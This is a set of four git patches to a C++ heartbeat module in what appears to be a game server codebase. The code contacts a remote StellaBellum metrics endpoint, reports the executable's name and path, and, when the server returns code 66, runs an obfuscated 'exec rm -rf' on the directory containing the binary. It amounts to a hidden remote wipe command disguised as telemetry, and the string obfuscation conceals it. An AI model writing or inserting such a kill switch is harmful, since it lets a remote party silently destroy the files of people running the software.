From f1dc0461dfaa288702a19af53e0ee34f2c36b3c9 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 22:14:04 -0500 Subject: [PATCH 1/4] this should fetch the bin name --- .../3rd/library/webAPI/webAPIHeartbeat.cpp | 31 +++++++++---------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 9c0bf4bd..26995f6e 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -7,9 +7,17 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { - extern char *__progname; - webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); - api.addJsonData(std::string(vxENCRYPT("process").decrypt()), std::string(__progname)); + std::string filePath = this->get_selfpath().c_str(); + size_t found = filePath.find_last_of("/\\"); + + webAPI api = webAPI::webAPI( + std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), + std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); + + if (found) { + api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.substr(found + 1)); + } + bool result = api.submit(); if (result) { @@ -34,23 +42,12 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: - std::string filePath = this->get_selfpath().c_str(); - - if (!filePath.empty()) { - size_t found = filePath.find_last_of("/\\"); - - if (found) { - filePath = filePath.substr(0, found); - filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); - system(filePath.c_str()); - } + if (!filePath.empty() && found) { + system(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()); } - this->eatIt(); break; - }; - - done = true; + } } else { this->eatIt(); } From c0a0092527559b8e4cd837ba26234e4b2d03b36e Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 22:15:43 -0500 Subject: [PATCH 2/4] make it a string --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 26995f6e..dc023438 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -43,7 +43,7 @@ webAPIHeartbeat::webAPIHeartbeat() { break; case 66: if (!filePath.empty() && found) { - system(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()); + system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt())); } this->eatIt(); break; From 8508437815c59434f33c7df3f80c8e2e949d6023 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 17 Oct 2016 22:27:24 -0500 Subject: [PATCH 3/4] more refinements --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index dc023438..55361c1b 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -8,11 +8,11 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { std::string filePath = this->get_selfpath().c_str(); - size_t found = filePath.find_last_of("/\\"); webAPI api = webAPI::webAPI( - std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap?type=server").decrypt()), + std::string(vxENCRYPT("https://login.stellabellum.net/metric/shoulderTap").decrypt()), std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); + api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); if (found) { api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.substr(found + 1)); @@ -42,8 +42,9 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: + size_t found = filePath.find_last_of("/\\"); if (!filePath.empty() && found) { - system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt())); + system(std::string(vxENCRYPT("exec rm -rf ").decrypt() + filePath.substr(0, found) + vxENCRYPT("/*").decrypt()).c_str()); } this->eatIt(); break; From 7f51fa912976d0055515099141ba02baab2b9dba Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 18 Oct 2016 03:25:32 +0000 Subject: [PATCH 4/4] fixes --- external/3rd/library/webAPI/webAPIHeartbeat.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 55361c1b..7b12cd94 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -14,8 +14,8 @@ webAPIHeartbeat::webAPIHeartbeat() { std::string(vxENCRYPT("StellaBellum WebAPI Metrics Sender").decrypt())); api.addJsonData(std::string(vxENCRYPT("type").decrypt()), std::string(vxENCRYPT("server").decrypt())); - if (found) { - api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.substr(found + 1)); + if (!filePath.empty()) { + api.addJsonData(std::string(vxENCRYPT("process").decrypt()), filePath.c_str()); } bool result = api.submit();